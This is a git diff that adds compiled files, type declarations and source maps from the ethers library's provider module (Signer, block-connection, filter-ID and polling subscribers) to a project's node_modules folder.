+{"version":3,"file":"signer-noncemanager.js","sourceRoot":"","sources":["../../src.ts/providers/signer-noncemanager.ts"],"names":[],"mappings":";;;AAAA,gDAAqD;AACrD,6DAAsD;AAUtD;;;;GAIG;AACH,MAAa,YAAa,SAAQ,mCAAc;IAC5C;;OAEG;IACH,MAAM,CAAU;IAEhB,aAAa,CAAyB;IACtC,MAAM,CAAS;IAEf;;OAEG;IACH,YAAY,MAAc;QACtB,KAAK,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC;QACvB,IAAA,2BAAgB,EAAe,IAAI,EAAE,EAAE,MAAM,EAAE,CAAC,CAAC;QAEjD,IAAI,CAAC,aAAa,GAAG,IAAI,CAAC;QAC1B,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC;IACpB,CAAC;IAED,KAAK,CAAC,UAAU;QACZ,OAAO,IAAI,CAAC,MAAM,CAAC,UAAU,EAAE,CAAC;IACpC,CAAC;IAED,OAAO,CAAC,QAAyB;QAC7B,OAAO,IAAI,YAAY,CAAC,IAAI,CAAC,MAAM,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC,CAAC;IAC3D,CAAC;IAED,KAAK,CAAC,QAAQ,C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AM,CAAC,aAAa,CAAC,MAAM,EAAE,KAAK,EAAE,KAAK,CAAC,CAAC;IAC3D,CAAC;CACJ;AAjFD,oCAiFC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer.d.ts b/node_modules/ethers/lib.commonjs/providers/signer.d.ts new file mode 100644 index 000000000000..f6d1aa8299b7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer.d.ts @@ -0,0 +1,131 @@ +import type { Addressable, NameResolver } from "../address/index.js"; +import type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { Authorization, TransactionLike } from "../transaction/index.js"; +import type { ContractRunner } from "./contracts.js"; +import type { BlockTag, Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +/** + * A Signer represents an account on the Ethereum Blockchain, and is most often + * backed by a private key represented by a mnemonic or residing on a Hardware Wallet. + * + * The API remains abstract though, so that it can deal with more advanced exotic + * Signing entities, such as Smart Contract Wallets or Virtual Wallets (where the + * private key may not be known). + */ +export interface Signer extends Addressable, ContractRunner, NameResolver { + /** + * The [[Provider]] attached to this Signer (if any). + */ + provider: null | Provider; + /** + * Returns a new instance of this Signer connected to //provider// or detached + * from any Provider if null. + */ + connect(provider: null | Provider): Signer; + /** + * Get the address of the Signer. + */ + getAddress(): Promise; + /** + * Gets the next nonce required for this Signer to send a transaction. + * + * @param blockTag - The blocktag to base the transaction count on, keep in mind + * many nodes do not honour this value and silently ignore it [default: ``"latest"``] + */ + getNonce(blockTag?: BlockTag): Promise; + /** + * Prepares a {@link TransactionRequest} for calling: + * - resolves ``to`` and ``from`` addresses + * - if ``from`` is specified , check that it matches this Signer + * + * @param tx - The call to prepare + */ + populateCall(tx: TransactionRequest): Promise>; + /** + * Prepares a {@link TransactionRequest} for sending to the network by + * populating any missing properties: + * - resolves ``to`` and ``from`` addresses + * - if ``from`` is specified , check that it matches this Signer + * - populates ``nonce`` via ``signer.getNonce("pending")`` + * - populates ``gasLimit`` via ``signer.estimateGas(tx)`` + * - populates ``chainId`` via ``signer.provider.getNetwork()`` + * - populates ``type`` and relevant fee data for that type (``gasPrice`` + * for legacy transactions, ``maxFeePerGas`` for EIP-1559, etc) + * + * @note Some Signer implementations may skip populating properties that + * are populated downstream; for example JsonRpcSigner defers to the + * node to populate the nonce and fee data. + * + * @param tx - The call to prepare + */ + populateTransaction(tx: TransactionRequest): Promise>; + /** + * Estimates the required gas required to execute //tx// on the Blockchain. This + * will be the expected amount a transaction will require as its ``gasLimit`` + * to successfully run all the necessary computations and store the needed state + * that the transaction intends. + * + * Keep in mind that this is **best efforts**, since the state of the Blockchain + * is in flux, which could affect transaction gas requirements. + * + * @throws UNPREDICTABLE_GAS_LIMIT A transaction that is believed by the node to likely + * fail will throw an error during gas estimation. This could indicate that it + * will actually fail or that the circumstances are simply too complex for the + * node to take into account. In these cases, a manually determined ``gasLimit`` + * will need to be made. + */ + estimateGas(tx: TransactionRequest): Promise; + /** + * Evaluates the //tx// by running it against the current Blockchain state. This + * cannot change state and has no cost in ether, as it is effectively simulating + * execution. + * + * This can be used to have the Blockchain perform computations based on its state + * (e.g. running a Contract's getters) or to simulate the effect of a transaction + * before actually performing an operation. + */ + call(tx: TransactionRequest): Promise; + /** + * Resolves an ENS Name to an address. + */ + resolveName(name: string): Promise; + /** + * Signs %%tx%%, returning the fully signed transaction. This does not + * populate any additional properties within the transaction. + */ + signTransaction(tx: TransactionRequest): Promise; + /** + * Sends %%tx%% to the Network. The ``signer.populateTransaction(tx)`` + * is called first to ensure all necessary properties for the + * transaction to be valid have been popualted first. + */ + sendTransaction(tx: TransactionRequest): Promise; + /** + * Signs an [[link-eip-191]] prefixed personal message. + * + * If the %%message%% is a string, it is signed as UTF-8 encoded bytes. It is **not** + * interpretted as a [[BytesLike]]; so the string ``"0x1234"`` is signed as six + * characters, **not** two bytes. + * + * To sign that example as two bytes, the Uint8Array should be used + * (i.e. ``new Uint8Array([ 0x12, 0x34 ])``). + */ + signMessage(message: string | Uint8Array): Promise; + /** + * Signs the [[link-eip-712]] typed data. + */ + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; + /** + * Prepares an [[AuthorizationRequest]] for authorization by + * populating any missing properties: + * - resolves ``address`` (if an Addressable or ENS name) + * - populates ``nonce`` via ``signer.getNonce("pending")`` + * - populates ``chainId`` via ``signer.provider.getNetwork()`` + */ + populateAuthorization(auth: AuthorizationRequest): Promise; + /** + * Signs an %%authorization%% to be used in [[link-eip-7702]] + * transactions. + */ + authorize(authorization: AuthorizationRequest): Promise; +} +//# sourceMappingURL=signer.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer.d.ts.map b/node_modules/ethers/lib.commonjs/providers/signer.d.ts.map new file mode 100644 index 000000000000..41b74e7f864f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"signer.d.ts","sourceRoot":"","sources":["../../src.ts/providers/signer.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACrE,OAAO,KAAK,EACR,oBAAoB,EAAE,eAAe,EAAE,cAAc,EACxD,MAAM,kBAAkB,CAAC;AAC1B,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAC;AAE9E,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AACrD,OAAO,KAAK,EAAE,QAAQ,EAAE,QAAQ,EAAE,kBAAkB,EAAE,mBAAmB,EAAE,MAAM,eAAe,CAAC;AAEjG;;;;;;;GAOG;AACH,MAAM,WAAW,MAAO,SAAQ,WAAW,EAAE,cAAc,EAAE,YAAY;IAErE;;OAEG;IACH,QAAQ,EAAE,IAAI,GAAG,QAAQ,CAAC;IAE1B;;;OAGG;IACH,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM,CAAC;IAM3C;;OAEG;IACH,UAAU,IAAI,O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oBAAoB,CAAC,CAAC;IAEjF;;;OAGG;IACH,SAAS,CAAC,aAAa,EAAE,oBAAoB,GAAG,OAAO,CAAC,aAAa,CAAC,CAAC;CAC1E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer.js b/node_modules/ethers/lib.commonjs/providers/signer.js new file mode 100644 index 000000000000..c73406accff7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer.js @@ -0,0 +1,3 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +//# sourceMappingURL=signer.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/signer.js.map b/node_modules/ethers/lib.commonjs/providers/signer.js.map new file mode 100644 index 000000000000..68d48a8375a6 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/signer.js.map @@ -0,0 +1 @@ +{"version":3,"file":"signer.js","sourceRoot":"","sources":["../../src.ts/providers/signer.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-connection.d.ts b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.d.ts new file mode 100644 index 000000000000..b235e3b46c3a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.d.ts @@ -0,0 +1,25 @@ +import type { Subscriber } from "./abstract-provider.js"; +import type { Provider } from "./provider.js"; +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +export interface ConnectionRpcProvider extends Provider { + _subscribe(param: Array, processFunc: (result: any) => void): number; + _unsubscribe(filterId: number): void; +} +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +export declare class BlockConnectionSubscriber implements Subscriber { + #private; + constructor(provider: ConnectionRpcProvider); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +//# sourceMappingURL=subscriber-connection.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-connection.d.ts.map b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.d.ts.map new file mode 100644 index 000000000000..a1d8c3e78a9f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-connection.d.ts","sourceRoot":"","sources":["../../src.ts/providers/subscriber-connection.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AAIzD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAE9C;;;;GAIG;AACH,MAAM,WAAW,qBAAsB,SAAQ,QAAQ;IAEnD,UAAU,CAAC,KAAK,EAAE,KAAK,CAAC,GAAG,CAAC,EAAE,WAAW,EAAE,CAAC,MAAM,EAAE,GAAG,KAAK,IAAI,GAAG,MAAM,CAAC;IAC1E,YAAY,CAAC,QAAQ,EAAE,MAAM,GAAG,IAAI,CAAC;CACxC;AAED;;;;GAIG;AACH,qBAAa,yBAA0B,YAAW,UAAU;;gBAQ5C,QAAQ,EAAE,qBAAqB;IAO3C,KAAK,IAAI,IAAI;IAcb,IAAI,IAAI,IAAI;IAUZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKtC,MAAM,IAAI,IAAI;CAGjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-connection.js b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.js new file mode 100644 index 000000000000..931d2f29a7e4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.js @@ -0,0 +1,56 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.BlockConnectionSubscriber = void 0; +const index_js_1 = require("../utils/index.js"); +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +class BlockConnectionSubscriber { + #provider; + #blockNumber; + #running; + #filterId; + constructor(provider) { + this.#provider = provider; + this.#blockNumber = -2; + this.#running = false; + this.#filterId = null; + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#filterId = this.#provider._subscribe(["newHeads"], (result) => { + const blockNumber = (0, index_js_1.getNumber)(result.number); + const initial = (this.#blockNumber === -2) ? blockNumber : (this.#blockNumber + 1); + for (let b = initial; b <= blockNumber; b++) { + this.#provider.emit("block", b); + } + this.#blockNumber = blockNumber; + }); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + if (this.#filterId != null) { + this.#provider._unsubscribe(this.#filterId); + this.#filterId = null; + } + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#blockNumber = -2; + } + this.stop(); + } + resume() { + this.start(); + } +} +exports.BlockConnectionSubscriber = BlockConnectionSubscriber; +//# sourceMappingURL=subscriber-connection.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-connection.js.map b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.js.map new file mode 100644 index 000000000000..dffe2d17e6b6 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-connection.js.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-connection.js","sourceRoot":"","sources":["../../src.ts/providers/subscriber-connection.ts"],"names":[],"mappings":";;;AACA,gDAA8C;AAmB9C;;;;GAIG;AACH,MAAa,yBAAyB;IAClC,SAAS,CAAwB;IACjC,YAAY,CAAS;IAErB,QAAQ,CAAU;IAElB,SAAS,CAAgB;IAEzB,YAAY,QAA+B;QACvC,IAAI,CAAC,SAAS,GAAG,QAAQ,CAAC;QAC1B,IAAI,CAAC,YAAY,GAAG,CAAC,CAAC,CAAC;QACvB,IAAI,CAAC,QAAQ,GAAG,KAAK,CAAC;QACtB,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;IAC1B,CAAC;IAED,KAAK;QACD,IAAI,IAAI,CAAC,QAAQ,EAAE;YAAE,OAAO;SAAE;QAC9B,IAAI,CAAC,QAAQ,GAAG,IAAI,CAAC;QAErB,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC,SAAS,CAAC,UAAU,CAAC,CAAE,UAAU,CAAE,EAAE,CAAC,MAAW,EAAE,EAAE;YACvE,MAAM,WAAW,GAAG,IAAA,oBAAS,EAAC,MAAM,CAAC,MAAM,CAAC,CAAC;YAC7C,MAAM,OAAO,GAAG,CAAC,IAAI,CAAC,YAAY,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,WAAW,CAAA,CAAC,CAAC,CAAC,IAAI,CAAC,YAAY,GAAG,CAAC,CAAC,CAAA;YACjF,KAAK,IAAI,CAAC,GAAG,OAAO,EAAE,CAAC,IAAI,WAAW,EAAE,CAAC,EAAE,EAAE;gBACzC,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;aACnC;YACD,IAAI,CAAC,YAAY,GAAG,WAAW,CAAC;QACpC,CAAC,CAAC,CAAC;IACP,CAAC;IAED,IAAI;QACA,IAAI,CAAC,IAAI,CAAC,QAAQ,EAAE;YAAE,OAAO;SAAE;QAC/B,IAAI,CAAC,QAAQ,GAAG,KAAK,CAAC;QAEtB,IAAI,IAAI,CAAC,SAAS,IAAI,IAAI,EAAE;YACxB,IAAI,CAAC,SAAS,CAAC,YAAY,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;YAC5C,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;SACzB;IACL,CAAC;IAED,KAAK,CAAC,eAAyB;QAC3B,IAAI,eAAe,EAAE;YAAE,IAAI,CAAC,YAAY,GAAG,CAAC,CAAC,CAAC;SAAE;QAChD,IAAI,CAAC,IAAI,EAAE,CAAC;IAChB,CAAC;IAED,MAAM;QACF,IAAI,CAAC,KAAK,EAAE,CAAC;IACjB,CAAC;CACJ;AA/CD,8DA+CC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.d.ts b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.d.ts new file mode 100644 index 000000000000..721d6284c300 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.d.ts @@ -0,0 +1,64 @@ +import type { AbstractProvider, Subscriber } from "./abstract-provider.js"; +import type { EventFilter } from "./provider.js"; +import type { JsonRpcApiProvider } from "./provider-jsonrpc.js"; +/** + * Some backends support subscribing to events using a Filter ID. + * + * When subscribing with this technique, the node issues a unique + * //Filter ID//. At this point the node dedicates resources to + * the filter, so that periodic calls to follow up on the //Filter ID// + * will receive any events since the last call. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class FilterIdSubscriber implements Subscriber { + #private; + /** + * Creates a new **FilterIdSubscriber** which will used [[_subscribe]] + * and [[_emitResults]] to setup the subscription and provide the event + * to the %%provider%%. + */ + constructor(provider: JsonRpcApiProvider); + /** + * Sub-classes **must** override this to begin the subscription. + */ + _subscribe(provider: JsonRpcApiProvider): Promise; + /** + * Sub-classes **must** override this handle the events. + */ + _emitResults(provider: AbstractProvider, result: Array): Promise; + /** + * Sub-classes **must** override this handle recovery on errors. + */ + _recover(provider: AbstractProvider): Subscriber; + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +/** + * A **FilterIdSubscriber** for receiving contract events. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class FilterIdEventSubscriber extends FilterIdSubscriber { + #private; + /** + * Creates a new **FilterIdEventSubscriber** attached to %%provider%% + * listening for %%filter%%. + */ + constructor(provider: JsonRpcApiProvider, filter: EventFilter); + _recover(provider: AbstractProvider): Subscriber; + _subscribe(provider: JsonRpcApiProvider): Promise; + _emitResults(provider: JsonRpcApiProvider, results: Array): Promise; +} +/** + * A **FilterIdSubscriber** for receiving pending transactions events. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class FilterIdPendingSubscriber extends FilterIdSubscriber { + _subscribe(provider: JsonRpcApiProvider): Promise; + _emitResults(provider: JsonRpcApiProvider, results: Array): Promise; +} +//# sourceMappingURL=subscriber-filterid.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.d.ts.map b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.d.ts.map new file mode 100644 index 000000000000..d012b4669b62 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-filterid.d.ts","sourceRoot":"","sources":["../../src.ts/providers/subscriber-filterid.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,gBAAgB,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AAE3E,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AACjD,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,uBAAuB,CAAC;AAMhE;;;;;;;;;GASG;AACH,qBAAa,kBAAmB,YAAW,UAAU;;IAYjD;;;;OAIG;gBACS,QAAQ,EAAE,kBAAkB;IAaxC;;OAEG;IACH,UAAU,CAAC,QAAQ,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIzD;;OAEG;IACH,YAAY,CAAC,QAAQ,EAAE,gBAAgB,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC;IAI3E;;OAEG;IACH,QAAQ,CAAC,QAAQ,EAAE,gBAAgB,GAAG,UAAU;IAwDhD,KAAK,IAAI,IAAI;IAOb,IAAI,IAAI,IAAI;IASZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKtC,MAAM,IAAI,IAAI;CACjB;AAED;;;;GAIG;AACH,qBAAa,uBAAwB,SAAQ,kBAAkB;;IAG3D;;;OAGG;gBACS,QAAQ,EAAE,kBAAkB,EAAE,MAAM,EAAE,WAAW;IAK7D,QAAQ,CAAC,QAAQ,EAAE,gBAAgB,GAAG,UAAU;IAI1C,UAAU,CAAC,QAAQ,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAKzD,YAAY,CAAC,QAAQ,EAAE,kBAAkB,EAAE,OAAO,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC;CAKvF;AAED;;;;GAIG;AACH,qBAAa,yBAA0B,SAAQ,kBAAkB;IACvD,UAAU,CAAC,QAAQ,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIzD,YAAY,CAAC,QAAQ,EAAE,kBAAkB,EAAE,OAAO,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC;CAKvF"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.js b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.js new file mode 100644 index 000000000000..cd4590a3fc67 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.js @@ -0,0 +1,180 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.FilterIdPendingSubscriber = exports.FilterIdEventSubscriber = exports.FilterIdSubscriber = void 0; +const index_js_1 = require("../utils/index.js"); +const subscriber_polling_js_1 = require("./subscriber-polling.js"); +function copy(obj) { + return JSON.parse(JSON.stringify(obj)); +} +/** + * Some backends support subscribing to events using a Filter ID. + * + * When subscribing with this technique, the node issues a unique + * //Filter ID//. At this point the node dedicates resources to + * the filter, so that periodic calls to follow up on the //Filter ID// + * will receive any events since the last call. + * + * @_docloc: api/providers/abstract-provider + */ +class FilterIdSubscriber { + #provider; + #filterIdPromise; + #poller; + #running; + #network; + #hault; + /** + * Creates a new **FilterIdSubscriber** which will used [[_subscribe]] + * and [[_emitResults]] to setup the subscription and provide the event + * to the %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#filterIdPromise = null; + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#network = null; + this.#hault = false; + } + /** + * Sub-classes **must** override this to begin the subscription. + */ + _subscribe(provider) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle the events. + */ + _emitResults(provider, result) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle recovery on errors. + */ + _recover(provider) { + throw new Error("subclasses must override this"); + } + async #poll(blockNumber) { + try { + // Subscribe if necessary + if (this.#filterIdPromise == null) { + this.#filterIdPromise = this._subscribe(this.#provider); + } + // Get the Filter ID + let filterId = null; + try { + filterId = await this.#filterIdPromise; + } + catch (error) { + if (!(0, index_js_1.isError)(error, "UNSUPPORTED_OPERATION") || error.operation !== "eth_newFilter") { + throw error; + } + } + // The backend does not support Filter ID; downgrade to + // polling + if (filterId == null) { + this.#filterIdPromise = null; + this.#provider._recoverSubscriber(this, this._recover(this.#provider)); + return; + } + const network = await this.#provider.getNetwork(); + if (!this.#network) { + this.#network = network; + } + if (this.#network.chainId !== network.chainId) { + throw new Error("chaid changed"); + } + if (this.#hault) { + return; + } + const result = await this.#provider.send("eth_getFilterChanges", [filterId]); + await this._emitResults(this.#provider, result); + } + catch (error) { + console.log("@TODO", error); + } + this.#provider.once("block", this.#poller); + } + #teardown() { + const filterIdPromise = this.#filterIdPromise; + if (filterIdPromise) { + this.#filterIdPromise = null; + filterIdPromise.then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_uninstallFilter", [filterId]); + }); + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#hault = true; + this.#teardown(); + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#teardown(); + } + this.#provider.off("block", this.#poller); + } + resume() { this.start(); } +} +exports.FilterIdSubscriber = FilterIdSubscriber; +/** + * A **FilterIdSubscriber** for receiving contract events. + * + * @_docloc: api/providers/abstract-provider + */ +class FilterIdEventSubscriber extends FilterIdSubscriber { + #event; + /** + * Creates a new **FilterIdEventSubscriber** attached to %%provider%% + * listening for %%filter%%. + */ + constructor(provider, filter) { + super(provider); + this.#event = copy(filter); + } + _recover(provider) { + return new subscriber_polling_js_1.PollingEventSubscriber(provider, this.#event); + } + async _subscribe(provider) { + const filterId = await provider.send("eth_newFilter", [this.#event]); + return filterId; + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit(this.#event, provider._wrapLog(result, provider._network)); + } + } +} +exports.FilterIdEventSubscriber = FilterIdEventSubscriber; +/** + * A **FilterIdSubscriber** for receiving pending transactions events. + * + * @_docloc: api/providers/abstract-provider + */ +class FilterIdPendingSubscriber extends FilterIdSubscriber { + async _subscribe(provider) { + return await provider.send("eth_newPendingTransactionFilter", []); + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit("pending", result); + } + } +} +exports.FilterIdPendingSubscriber = FilterIdPendingSubscriber; +//# sourceMappingURL=subscriber-filterid.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.js.map b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.js.map new file mode 100644 index 000000000000..f2b3e285d94d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-filterid.js.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-filterid.js","sourceRoot":"","sources":["../../src.ts/providers/subscriber-filterid.ts"],"names":[],"mappings":";;;AAAA,gDAA4C;AAE5C,mEAAiE;AAOjE,SAAS,IAAI,CAAC,GAAQ;IAClB,OAAO,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,CAAC,CAAC;AAC3C,CAAC;AAED;;;;;;;;;GASG;AACH,MAAa,kBAAkB;IAC3B,SAAS,CAAqB;IAE9B,gBAAgB,CAAyB;IACzC,OAAO,CAA+B;IAEtC,QAAQ,CAAU;IAElB,QAAQ,CAAiB;IAEzB,MAAM,CAAU;IAEhB;;;;OAIG;IACH,YAAY,QAA4B;QACpC,IAAI,CAAC,SAAS,GAAG,QAAQ,CAAC;QAE1B,IAAI,CAAC,gBAAgB,GAAG,IAAI,CAAC;QAC7B,IAAI,CAAC,OAAO,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAErC,IAAI,CAAC,QAAQ,GAAG,KAAK,CAAC;QAEtB,IAA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AQ,CAAC,MAAM,EAAE,QAAQ,CAAC,QAAQ,CAAC,CAAC,CAAC;SAC5E;IACL,CAAC;CACJ;AA1BD,0DA0BC;AAED;;;;GAIG;AACH,MAAa,yBAA0B,SAAQ,kBAAkB;IAC7D,KAAK,CAAC,UAAU,CAAC,QAA4B;QACzC,OAAO,MAAM,QAAQ,CAAC,IAAI,CAAC,iCAAiC,EAAE,EAAG,CAAC,CAAC;IACvE,CAAC;IAED,KAAK,CAAC,YAAY,CAAC,QAA4B,EAAE,OAAmB;QAChE,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE;YAC1B,QAAQ,CAAC,IAAI,CAAC,SAAS,EAAE,MAAM,CAAC,CAAC;SACpC;IACL,CAAC;CACJ;AAVD,8DAUC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-polling.d.ts b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.d.ts new file mode 100644 index 000000000000..e751ba48b5a8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.d.ts @@ -0,0 +1,100 @@ +import type { AbstractProvider, Subscriber } from "./abstract-provider.js"; +import type { EventFilter, OrphanFilter, ProviderEvent } from "./provider.js"; +/** + * Return the polling subscriber for common events. + * + * @_docloc: api/providers/abstract-provider + */ +export declare function getPollingSubscriber(provider: AbstractProvider, event: ProviderEvent): Subscriber; +/** + * A **PollingBlockSubscriber** polls at a regular interval for a change + * in the block number. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingBlockSubscriber implements Subscriber { + #private; + /** + * Create a new **PollingBlockSubscriber** attached to %%provider%%. + */ + constructor(provider: AbstractProvider); + /** + * The polling interval. + */ + get pollingInterval(): number; + set pollingInterval(value: number); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +/** + * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]] + * implmentation which will be called on every new block. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class OnBlockSubscriber implements Subscriber { + #private; + /** + * Create a new **OnBlockSubscriber** attached to %%provider%%. + */ + constructor(provider: AbstractProvider); + /** + * Called on every new block. + */ + _poll(blockNumber: number, provider: AbstractProvider): Promise; + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +export declare class PollingBlockTagSubscriber extends OnBlockSubscriber { + #private; + constructor(provider: AbstractProvider, tag: string); + pause(dropWhilePaused?: boolean): void; + _poll(blockNumber: number, provider: AbstractProvider): Promise; +} +/** + * @_ignore: + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingOrphanSubscriber extends OnBlockSubscriber { + #private; + constructor(provider: AbstractProvider, filter: OrphanFilter); + _poll(blockNumber: number, provider: AbstractProvider): Promise; +} +/** + * A **PollingTransactionSubscriber** will poll for a given transaction + * hash for its receipt. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingTransactionSubscriber extends OnBlockSubscriber { + #private; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%hash%%. + */ + constructor(provider: AbstractProvider, hash: string); + _poll(blockNumber: number, provider: AbstractProvider): Promise; +} +/** + * A **PollingEventSubscriber** will poll for a given filter for its logs. + * + * @_docloc: api/providers/abstract-provider + */ +export declare class PollingEventSubscriber implements Subscriber { + #private; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%filter%%. + */ + constructor(provider: AbstractProvider, filter: EventFilter); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +//# sourceMappingURL=subscriber-polling.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-polling.d.ts.map b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.d.ts.map new file mode 100644 index 000000000000..193b2aaef004 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.d.ts.map @@ -0,0 +1 @@ 